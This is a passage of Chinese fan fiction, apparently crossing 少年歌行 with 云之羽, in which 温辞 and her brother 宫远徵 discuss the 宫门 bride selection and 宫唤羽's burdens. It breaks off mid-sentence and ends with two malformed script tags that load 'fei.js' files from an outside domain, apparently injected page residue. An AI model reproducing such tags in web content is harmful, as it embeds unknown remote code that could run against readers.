云中城。
温辞收到天启传来百里家镇西侯和百里东君已经平安离开天启的消息,感叹了一句萧氏皇族的凉薄无情,刻薄寡恩,便将这事随手丢开了。
宫尚角本是打算处理完事务后,来云中城小住几日,顺道商议后续部署。
比他更快的,是执刃大人宫鸿羽的密令。
宫鸿羽命宫尚角私底下再次详查此次宫门选婚在册的新娘人选,这也是为了避免无锋借此机会冒充调换新娘,潜入宫门。
宫远徵嗤了一声,“说什么此次选婚是为了少主宫唤羽准备的,若真心为他,及冠之年便该操办,何必要拖到今日。”
“江湖上像尚角哥哥和宫唤羽这样年纪的男子,孩子都能习武了。”
温辞手上插花的动作顿了顿,意有所指地笑了笑:“说来,宫子羽的年纪,也到了该议婚选亲的时候了。”
听见宫子羽的名字,宫远徵先是撇了撇嘴。
他可听说了,宫子羽如今还在后山煎熬呢,真是无用。
心里想着,若是宫唤羽知道宫子羽这次也要选婚是什么表情,不由得存了些看好戏的想法,只是想到宫唤羽一贯维护宫子羽的模样,顿时又觉得索然无味。
温辞瞧着弟弟漂亮的脸上情绪几番变幻,轻轻一笑:“阿珩放心,等你及冠之后姐姐就为你操办选婚之事。或许,阿珩也会像爹爹阿娘当年一样,不必经由选婚,便能遇见倾心之人也未可知。”
宫远徵耳尖泛红,有些羞恼地低唤了一声:“姐姐。”
温辞轻笑一声,慢条斯理地打理着瓶中花枝。
宫远徵强作镇定,不想让姐姐继续再逗他了,连忙把话题扯了回来。
“依我看,宫唤羽也是个蠢得,既不想舍下自己的权势地位,又忘不了父母族人的血海深仇,结果还不是规规矩矩的待在宫门里,真是拧巴又可……”
话说到一半,他瞥见温辞垂眸插花的侧脸,抿了抿唇,将到了嘴边的 “可笑” 咽了回去,轻声换成:
“…… 悲哀。”
他和姐姐也曾在那场动乱中失了父亲和许多族人。
若当年舅舅没有强势带他与姐姐离开宫门,如今的他,会不会也和宫唤羽一样,在仇恨与枷锁中沉沦,活得身不由己,像宫唤羽这样悲哀又可笑。
温辞插花的手微微一顿,花枝上的露珠轻轻滚落,滴在青瓷瓶沿,滑到了桌子上,碎成一点微凉。
她
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">